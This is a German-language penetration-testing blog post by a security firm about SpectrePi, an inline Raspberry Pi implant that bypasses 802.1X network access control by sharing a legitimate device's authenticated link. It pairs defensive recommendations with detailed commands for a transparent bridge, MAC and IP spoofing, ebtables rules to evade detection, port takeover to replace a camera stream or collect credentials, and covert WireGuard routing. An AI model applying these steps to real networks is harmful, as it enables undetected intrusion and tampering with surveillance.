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Defensive

Die blinde Stelle von 802.1X Network Access Control (NAC)

Dank SpectrePi, einem physischen Gerät im Netzwerk, kann ein Angreifer am 802.1X NAC vorbeikommen. Besonders interessant ist dieser Angriffsvektor für Unternehmen, die Geräte ausserhalb ihrer gesicherten Räume betreiben, wie z.B. Überwachungskameras.


Ein Netzwerkgerät im Empfangsbereich, eine Kamera im Aussenbereich, eine Dockingstation an einem Shared Workplace: Für viele Network- und System-Engineers ist diese Angriffsfläche mit 802.1X erledigt. Wer kein autorisiertes Gerät hat, kommt nicht ins Netzwerk.

In einem aktuellen Physical Penetration Test haben wir genau diese Annahme geprüft und ein eigenes Gerät unbemerkt zwischen Switch und Endgerät gehängt. Das Endgerät blieb online, die 802.1X-Authentifizierung lief unverändert weiter, und parallel dazu kommunizierte unser Implantat SpectrePi im Corporate Network unter identischer Identität.

Wir haben 802.1X dabei nicht grundsätzlich geknackt. Aber wir haben die bereits authentifizierte Verbindung eines vertrauenswürdigen Endgeräts unbemerkt mitbenutzt. 802.1X schützt den Verbindungsaufbau, jedoch nicht jedes einzelne Netzwerkpaket danach. Wer physischen Zugriff auf ein Kabel hat, kann den freigeschalteten Pfad mitbenutzen, ohne eine eigene Identität (IP- und MAC-Adresse) vorzuweisen.

spectrepi-banner

Der initiale Auftrag

SpectrePi wurde im Rahmen eines autorisierten Tests an zwei Stellen platziert:

  1. Zwischen Switch und IP-Kamera – über Power over Ethernet (PoE) versorgt und mit MAC-basiertem NAC geschützt.
  2. An einem Shared Workplace – ohne PoE und mit zertifikatsbasiertem NAC geschützt.

Das Ziel war in beiden Fällen dasselbe: zuerst als vollständig transparentes Kabelstück unauffällig bleiben, danach unter der Identität des Endgeräts aktiv kommunizieren und schliesslich einzelne Dienste vom Endgerät übernehmen. Das legitime Gerät musste dabei wie gewohnt weiterlaufen. Nur der kurze Ausfall im Netzwerk wäre der schnellste Weg zur Entdeckung gewesen.

Die Lücke nach dem Login

Bei 802.1X sind drei Rollen beteiligt: der Supplicant (Kamera, Notebook), der Authenticator (Switch-Port) und der Authentication Server (RADIUS). Supplicant und Switch tauschen dafür EAPOL-Frames aus. Erst nach erfolgreicher Prüfung gibt der Switch den Port frei.

SpectrePi sitzt als Layer-2-Bridge zwischen beiden und leitet diese EAPOL-Frames transparent weiter. Aus Sicht des Switches authentifiziert sich weiterhin das echte Endgerät. Aus Sicht des Endgeräts und des Switches ist SpectrePi nur ein Kabel. Ein zusätzlicher Teilnehmer wird vorerst nicht bemerkt.

Nach der Freigabe ist der Datenverkehr aber nicht kryptografisch an das authentifizierte Gerät gebunden. Genau in dieser Lücke arbeitet das Inline-Implantat. Es braucht keine Authentifizierung, weil es die vorhandene Identität mitbenützt.

Was Unternehmen daraus ableiten sollten

802.1X bleibt eine wichtige Zugangskontrolle. Es verhindert, dass sich ein beliebiges Gerät an einer freien Netzwerkdose anmeldet. Der Test zeigt jedoch auch die Grenze dieser Kontrolle. Nach erfolgreicher Authentifizierung ist der freigegebene Ethernet-Link ohne zusätzliche kryptografische Absicherung nicht automatisch vor einem eingeschleiften Gerät geschützt. Deshalb braucht es mehrere, aufeinander abgestimmte Schutzebenen:

  • Physischen Zugriff behandeln: Frei zugängliche Kabel, Kameras, Drucker, Telefone und Dockingstationen gehören zur Angriffsfläche. Netzwerkanschlüsse und Kabelwege sollten deshalb geschützt, regelmässig kontrolliert und bei besonders exponierten Geräten mit Manipulationsschutz versehen werden.
  • MACsec am Access-Link einsetzen: Unterstützen Switch und Endgerät MACsec, schützt es Ethernet-Frames gegen unbemerkte Veränderung und das Erzeugen gültiger zusätzlicher Frames. Ein Inline-Gerät kann den verschlüsselten Verkehr weiterhin durchleiten, ohne den Sitzungsschlüssel aber keine eigenen gültigen Frames einschleusen. Wichtig ist eine Konfiguration, die ungesicherten Datenverkehr abweist, statt bei Problemen unverschlüsselt weiterzuarbeiten.
  • Segmentieren und Berechtigungen minimieren: z.B. eine Kamera benötigt in der Regel nur Zugriff auf wenige definierte Systeme wie NVR, DNS und NTP. Gerätegruppen sollten daher in eigene Segmente eingeordnet und ihre Verbindungen mit einer Default-Deny-Policy auf die tatsächlich benötigten Ziele und Dienste beschränkt werden. Eine IP- oder MAC-Adresse allein darf keinen weitreichenden Zugriff begründen.
  • Dienste absichern: Anwendungen sollten ihre Gegenstelle stark authentifizieren sowie Integritätsschutz und Verschlüsselung verwenden. Dazu gehören HTTPS statt HTTP mit konsequenter Zertifikatsprüfung, verbindliches SMB-Signing sowie SMB-Verschlüsselung. Bei LDAP sollten LDAP-Signing erzwungen und unverschlüsselte Kommunikation unterbunden werden. Für TLS-geschützte LDAP-Verbindungen ist zusätzlich Channel Binding wichtig.
  • Ende-zu-Ende-Schutz ergänzen: IPsec, SSL VPN oder anwendungseigene Verschlüsselung schützen ausgewählte Verbindungen zwischen Endgerät und Server auch über mehrere Netzabschnitte hinweg. Anders als MACsec sichern sie jedoch nicht den gesamten lokalen Ethernet-Link und verhindern nicht automatisch, dass das Implantat andere Verbindungen aufbaut.
  • Verhalten überwachen: Ein Limit von einer MAC-Adresse pro Port und eine periodische Reauthentifizierung reichen in diesem Szenario nicht aus, weil das Implantat dieselbe Identität verwendet und EAPOL weiterleitet. Aussagekräftiger ist die Kombination aus Switch- und NAC-Ereignissen, Netzwerkflüssen, IDS/NDR sowie einem Baseline-Profil pro Gerät. Unerwartete Ziele, neue Protokolle, Portscans, ungewöhnliche DNS-Anfragen oder Änderungen im typischen Kommunikationsverhalten sollten einen Alarm auslösen.
  • Das Spoofing funktioniert nicht stabil – die TCP/IP-Kollisionen aus RSTs und ICMP-Fehlern bei TCP und UDP sollten über Source-Port-Trennung gelöst werden.
  • In Edge-Cases wie Multicast gelangten Pakete ohne die gespoofte Identität ins Corporate Network – dafür brauchte es zusätzliche MAC-Filter.
  • Die Übernahme einzelner Ports und direktes Routing über WireGuard fehlten.
  • PoE-versorgte Endgeräte werden nicht unterstützt – der komplette Hardwareaufbau mit Splitter, Wandler und Injektor kam neu hinzu.

SpectrePi als Open Source

Die Installation von SpectrePi haben wir auf GitHub unter https://github.com/avantguard-cyber-security-ag/SpectrePi veröffentlicht. Das System wurde für einen Raspberry Pi 4 oder 5 mit zwei Ethernet-Schnittstellen sowie einem unabhängigen LTE-Internet-/WireGuard-Zugang für den Einstz im Red Teaming entwickelt.

Im Standardbetrieb verhält sich SpectrePi als transparente Layer-2-Brücke zwischen einem Netzwerk-Switch und einem Endgerät, beispielsweise einer Netzwerkkamera, einer Dockingstation oder einer Workstation. Anschliessend ermöglicht SpectrePi die Beobachtung und Analyse des Netzwerkverkehrs, das Nachbilden der Identität des Endgeräts, das gezielte Weiterleiten ausgewählter Datenströme sowie die Übernahme einzelner Dienste eines Endgeräts.

Grundlage dieser Arbeit war das Open-Source-Projekt PhantomPi mit dem zugehörigen technischen Beitrag zum Bridge-Modus. Für unseren Einsatz war es allerdings in der einen Richtung zu viel und in der anderen zu wenig.

Zu viel: automatische Netzwerkanalyse, Discord- und KI-Anbindung, zusätzliche C2-Funktionen. Als Red Teamer wollen wir genau wissen, welche Pakete unser Implantat erzeugt – eine manuelle Anleitung ist uns lieber als ein Konfigurationsskript, das im Hintergrund Entscheidungen trifft.

Zu wenig für einen Einsatz, bei dem unbemerkt mitkommuniziert werden soll:

  • Das Spoofing funktioniert nicht stabil – die TCP/IP-Kollisionen aus RSTs und ICMP-Fehlern bei TCP und UDP sollten über Source-Port-Trennung gelöst werden.
  • In Edge-Cases wie Multicast gelangten Pakete ohne die gespoofte Identität ins Corporate Network – dafür brauchte es zusätzliche MAC-Filter.
  • Die Übernahme einzelner Ports und direktes Routing über WireGuard fehlten.
  • PoE-versorgte Endgeräte werden nicht unterstützt – der komplette Hardwareaufbau mit Splitter, Wandler und Injektor kam neu hinzu.

Das aktuelle Projekt bildet diesen schlanken Ansatz mit drei bewusst kleinen Skripten ab: initial_setup.sh konfiguriert das System und installiert den Bridge-Service, setup_bridge.sh erstellt die transparente Bridge samt MAC-Filtern nach jedem Neustart und setup_virtual_interfaces.sh aktiviert manuell die gespoofte Identität samt Source-Port-Trennung. Die reproduzierbare Grundinstallation steht in INSTALL.md. Traffic-Capture, Routing und Port-Übernahme sind in der Operations-Anleitung zusammengeführt. Des Weiteren empfehlen wir den Einsatz des verschlüsselten LUKS-Vaults, um sensible Daten wie abgehörten Netzwerkverkehr verschlüsselt auf dem SpectrePi zu speichern.

Die folgenden Abschnitte zeigen, welche technischen Probleme bei diesem Angriff auftreten und wie wir diese lösen.

Trennung von Strom und Daten für den PoE-Inline-Gebrauch

Bei der Dockingstation genügt ein zusätzlicher USB-Ethernet-Adapter, um einen Raspberry Pi dazwischenzuschalten. Eine Kamera hängt dagegen an einem einzigen Kabel, das Daten und Strom überträgt.

Ein gewöhnliches PoE-HAT reicht dafür nicht aus. Es versorgt nur das Implantat, nicht das nachgelagerte Endgerät. Der Aufbau trennt deshalb den Strom vor SpectrePi auf und führt diesen am Ende wieder zusammen:

  • PoE-Splitter – stellt Ethernet und Versorgungsspannung getrennt bereit.

  • DC/DC-Wandler – reduziert die Spannung auf 5 V für den Raspberry Pi.

  • Bridge – der Datenpfad läuft über die beiden Interfaces des Pi.

  • PoE-Injektor – führt Daten und Strom für die Kamera wieder zusammen.

SpectrePI-PoE-Bypass

Die Kamera erhält damit weiterhin Netzwerk und Strom. Gleichzeitig durchläuft jeder Ethernet-Frame den Raspberry Pi.

Interfaces und transparente Bridge

Als Basis für den Raspberry Pi wurde Kali Linux verwendet. Dabei wurden folgende drei Netzwerkschnittstellen verwendet:

eth0 -> Switch / Corporate Network

eth1 -> Inline-Endgerät (Kamera, Dockingstation)

wan1 -> LTE-Modul für den Zugang vom Operator

logical_overview

Damit der Kernel die USB-Adapter nach jedem Neustart gleich benennt, wurden die physischen Ports über udev fest zugeordnet. Diese wurden mit udevadm info -a /sys/class/net/ethX ermittelt und in /etc/udev/rules.d/10-persistent-net.rules eingetragen:

            
                   SUBSYSTEM=="net", ACTION=="add", SUBSYSTEMS=="usb", DRIVERS=="?*", KERNELS=="1-1.3", NAME="wan1"
            
      

Zusätzlich wird net.ifnames=0 biosdevname=0 in /boot/firmware/cmdline.txt gesetzt, damit die predictable names von systemd das Mapping nicht überschreiben. Beide Bridge-Interfaces werden als unmanaged markiert, damit kein DHCP-Request oder automatischer Reconnect Pakete mit falscher Identität erzeugt.

Die Bridge selbst ist unspektakulär – bis auf zwei Details:

            
                   

ip addr flush dev eth0

ip addr flush dev eth1

ip link add br0 type bridge

ip link set br0 type bridge stp_state 0

ip link set eth0 master br0

ip link set eth1 master br0

ip link set br0 up

 

echo 8 > /sys/class/net/br0/bridge/group_fwd_mask # EAPOL durchlassen

brctl setageing br0 0 # FDB-Einträge altern nicht

group_fwd_mask 8 ist der entscheidende Wert für 802.1X. Linux-Bridges leiten Zieladressen aus dem Bereich 01:80:C2:00:00:xx standardmässig nicht weiter, weil sie für lokale Kontrollprotokolle reserviert sind. EAPOL verwendet 01:80:C2:00:00:03. Ohne diese Maske erreichen EAPOL-Start, Request/Identity und die Keying-Nachrichten die Gegenseite nicht und die NAC-Authentifizierung schlägt dadurch fehl.

setageing 0 deaktiviert nicht das Lernen, sondern das Altern gelernter FDB-Einträge. Ein Eintrag läuft nicht mehr ab. Für die passive Zwei-Port-Bridge ist das unproblematisch. Sobald SpectrePi und das echte Endgerät dieselbe MAC-Adresse verwenden, darf diese Adresse aber keinem einzelnen Port zugeordnet bleiben. Deshalb wird das Learning beim Aktivieren der virtuellen Identität explizit ausgeschaltet.

Persistenz übernimmt ein systemd-Service, der das Bridge-Skript nach jedem Neustart ausführt. Dieser passive Bridge-Zustand ist der definierte Ausgangspunkt für jede Operation mit SpectrePi. Spoofing der Identität, zusätzliche Routen, Port-Übernahmen sowie NAT über WireGuard werden dagegen erst zur Laufzeit vom Operator manuell gesetzt.

Der operative Ablauf

Phase 1: Passiv mitschneiden

Im reinen Bridge-Modus kann SpectrePi nicht selbst im Corporate-Netzwerk kommunizieren. Mitgeschnitten wird trotzdem. Da solche Aufzeichnungen Credentials und Personendaten enthalten können, speichern wir den Traffic in einem LUKS-Container.

            
                   

vault-open

 

sudo tcpdump -i eth0 -nn -s 0 -U -w /home/kali/secure/capture-manual.pcap

'-nn' deaktiviert die Auflösung von Host- und Portnamen, wodurch zusätzlicher Netzwerkverkehr vermieden wird. '-s 0' erfasst Pakete vollständig, ohne sie abzuschneiden. '-U' schreibt die Pakete unmittelbar in die Ausgabedatei, sodass der Mitschnitt laufend aktualisiert wird. Mit '-w' wird der Datenverkehr im PCAP-Format in die angegebene Datei geschrieben. Die Aufzeichnungsdatei kann anschliessend über den separaten WireGuard-Verwaltungskanal vom Operator abgeholt und ausgewertet werden.

Aus dem aufgezeichneten Traffic werden die Parameter des Endgeräts wie IP, Subnetzmaske, MAC und Gateway abgeleitet. Auch können hier bereits eingesetzte unsichere Protokolle identifiziert und möglicherweise unsichere Authentifizierungen erkannt werden.

Phase 2: Fremde Identität übernehmen

Mit den gewonnenen Parametern aus dem Traffic kann das Skript setup_virtual_interfaces.sh manuell ausgeführt werden. Dabei entsteht ein veth-Paar. veth0 hängt in der Bridge, veth1 trägt die Identität des Endgeräts und ist der Layer-3-Endpunkt für den einzuschleusenden Traffic:

            
                   

ip link add veth0 type veth peer name veth1

ip link set veth0 up

brctl addif br0 veth0

 

ip link set dev veth1 address $SPOOFED_MAC

ip addr add $SPOOFED_IP/24 dev veth1

ip link set veth1 up

 

bridge link set dev eth0 learning off

bridge link set dev eth1 learning off

bridge link set dev veth0 learning off

bridge fdb flush br br0 dynamic

Das explizit deaktivierte Learning sorgt dafür, dass unbekannte Unicast-Frames geflutet werden. Erst die folgenden Protokoll- und Source-Port-Filter entscheiden, wer sie bekommt. Ageing und Learning sind dabei zwei verschiedene Bridge-Mechanismen. Durch mehrere manuellen Regeln und ein übersteuertes Source-Port-Mapping wird verhindert, dass der SpectrePi das echte Endgerät stört.

Ein Kernproblem: beide Systeme sehen den Verbindungsaufbau

Mit identischer IP und MAC und geflutetem Verkehr erreicht jedes Paket beide Systeme. Konkret:

  1. SpectrePi öffnet eine TCP-Verbindung auf Port 53456.
  2. Der Server antwortet an die gemeinsame IP/MAC, Ziel-Port 53456.
  3. Die Antwort erreicht SpectrePi und das Endgerät.
  4. Auf dem Endgerät existiert keine passende Verbindung.
  5. Das Endgerät schickt ein TCP-RST und beendet damit unsere Verbindung zum Server.

Bei UDP entsteht derselbe Effekt in Form der ICMP-Meldung „Port Unreachable“. Das ist der Punkt, an dem ein einfaches Bridge-Setup für einen Red-Team-Einsatz nicht genügt. Alle RSTs und ICMP-Fehler pauschal zu blockieren, ist keine solide Lösung. Die Trennung muss deshalb sauber durch den Source-Port erfolgen.

Lösung durch reservierte Source-Port-Bereiche

Zuerst wird der lokale Kernel auf einen eigenen dynamischen Bereich beschränkt:

            
                   sysctl -w net.ipv4.ip_local_port_range="20000 30000"
            
      

Danach trennen Bridge-Filter die beiden Verkehrsströme in die richtige Richtung:

            
                   

# Antworten auf unseren Bereich erreichen das Endgerät nicht

ebtables -A FORWARD -i eth0 -o eth1 -p IPv4 --ip-proto tcp --ip-dport 20000:30000 -j DROP

ebtables -A FORWARD -i eth0 -o eth1 -p IPv4 --ip-proto udp --ip-dport 20000:30000 -j DROP

 

# Pakete des Endgeräts aus unserem Bereich gelangen nicht ins Corporate Network

ebtables -A FORWARD -i eth1 -o eth0 -p IPv4 --ip-proto tcp --ip-sport 20000:30000 -j DROP

ebtables -A FORWARD -i eth1 -o eth0 -p IPv4 --ip-proto udp --ip-sport 20000:30000 -j DROP

 

# Antworten für das Endgerät erreichen unser virtuelles Interface nicht

ebtables -A FORWARD -i eth0 -o veth0 -p IPv4 --ip-proto tcp --ip-dport 30001:65535 -j DROP

ebtables -A FORWARD -i eth0 -o veth0 -p IPv4 --ip-proto udp --ip-dport 30001:65535 -j DROP

20000–30000 ist kein universeller Wert. Überlappt der Bereich mit den Ports, die das Endgerät tatsächlich nutzt, blockiert man dessen Verbindungen. Bei der PCAP-Analyse aus Phase 1 sollte dies daher auch geprüft werden.

Keine echte MAC nach aussen

Trotz gespoofter Identität können Treiber, Multicast, IPv6 oder automatisch gestartete Discovery-Dienste Frames mit den echten Adressen des Pi oder des USB-Adapters erzeugen. Ein einziges solches Paket genügt, um in einem NAC- oder Monitoring-System aufzufallen.

Die eigenen Hardware-Adressen werden deshalb sowohl für lokal erzeugte als auch für weitergeleitete Frames auf beiden physischen Interfaces verworfen:

            
                   

BLOCK_MAC_1="$(cat /sys/class/net/eth0/address)"

BLOCK_MAC_2="$(cat /sys/class/net/eth1/address)"

BLOCK_MAC_3="$(cat /sys/class/net/br0/address)"

 

for MAC in "$BLOCK_MAC_1" "$BLOCK_MAC_2" "$BLOCK_MAC_3"; do

ebtables -A OUTPUT -o "$IFACE_COMPANY" -s "$MAC" -j DROP

ebtables -A FORWARD -o "$IFACE_COMPANY" -s "$MAC" -j DROP

ebtables -A OUTPUT -o "$IFACE_TARGET" -s "$MAC" -j DROP

ebtables -A FORWARD -o "$IFACE_TARGET" -s "$MAC" -j DROP

done

Ergänzend wird IPv6 vollständig deaktiviert (/etc/sysctl.d/70-disable-ipv6.conf), da Router Solicitations und Neighbor Discovery eine zweite Identität offenlegen könnten. Gleiches gilt für nicht benötigte Dienste. Die Regel dahinter ist einfach: Auf dem Corporate-Port darf kein Frame erscheinen, der nicht die Identität des Endgeräts hat.

Phase 3: Einzelne Ports gezielt übernehmen

Grundsätzlich muss darauf geachtet werden, dass ein Port nicht zeitgleich von beiden Systemen erreichbar ist. Daher empfiehlt es sich, den Dienst hinter dem Ziel-Port erst auf einem anderen Port vorzubereiten. Dies kann z. B. die Bildübernahme einer Kamera sein. Soll etwa der RTSP-Stream der Kamera übernommen werden, wird der Port temporär vom Endgerät abgeschirmt und lokal bedient:

            
                   

ebtables -A FORWARD -i eth0 -o eth1 -p IPv4 --ip-proto tcp --ip-dport 554 -j DROP

socat TCP4-LISTEN:554,bind=$SPOOFED_IP,reuseaddr,fork TCP4:127.0.0.1:8554

Auf 8554 läuft ein lokaler RTSP-Server, der einen mit ffmpeg erzeugten Ersatzstream ausliefert. Dasselbe Muster funktioniert auch für HTTP/HTTPS/SMB, um z. B. Authentifizierungsversuche einzusammeln.

Routing über LTE und WireGuard

SpectrePi nutzt LTE mit einem WireGuard-Tunnel für die Kommunikation per SSH. Soll der Operator direkt durch den Tunnel auf das Corporate Network zugreifen, kommen IPv4-Forwarding und NAT über das gespoofte Interface hinzu. TCP und UDP werden dabei in denselben reservierten Source-Port-Bereich übersetzt, um die Kommunikation vom Endgerät nicht zu stören:

            
                   

sudo sysctl -w net.ipv4.ip_forward=1

sudo iptables -t nat -A POSTROUTING -s 10.254.252.2/32 -d 0.0.0.0/0 -o veth1 -p tcp -j MASQUERADE --to-ports 20000-30000 --random-fully

sudo iptables -t nat -A POSTROUTING -s 10.254.252.2/32 -d 0.0.0.0/0 -o veth1 -p udp -j MASQUERADE --to-ports 20000-30000 --random-fully

sudo iptables -t nat -A POSTROUTING -s 10.254.252.2/32 -d 0.0.0.0/0 -o veth1 -j MASQUERADE

Der Verkehr des Operators erscheint intern also unter der übernommenen IP und MAC des Endgeräts. Auf der Operator-Seite gehören ausschliesslich die gewünschten Zielnetze in die WireGuard-Einstellung AllowedIPs und in eine manuell gesetzte Route:

            
                   

sudo wg set wg_spectrepi peer $SPECTREPI_PUBLIC_KEY allowed-ips "10.254.252.1/32,$ZIELNETZWERK"

sudo ip route replace $ZIELNETZWERK dev wg_spectrepi

 

Fazit

Der Bridge-Aufbau selbst ist in wenigen Zeilen erledigt. Aufwändig ist der stabile, unauffällige Parallelbetrieb zweier Geräte mit einer Identität. EAPOL-Weiterleitung, MAC-Learning, TCP-RSTs, ICMP-Fehler, überlappende Source-Ports, Multicast und Hardware-Adressen sind alles Fehlerquellen, durch die das Endgerät gestört oder das Implantat im Netzwerk verraten werden kann.

Für Unternehmen bleibt die Konsequenz einfach. NAC entscheidet, wer einen Port öffnen darf. Ob danach wirklich nur dieses Gerät kommuniziert, ist eine zweite Frage. Diese wird durch Netzwerk-Segmentierung, Monitoring, physische Sicherheit und Verschlüsselung beantwortet.

Wer für sein Unternehmen prüfen möchte, was bei einem NAC Bypass für einen Angreifer möglich ist, kann gerne mit uns in Kontakt treten.

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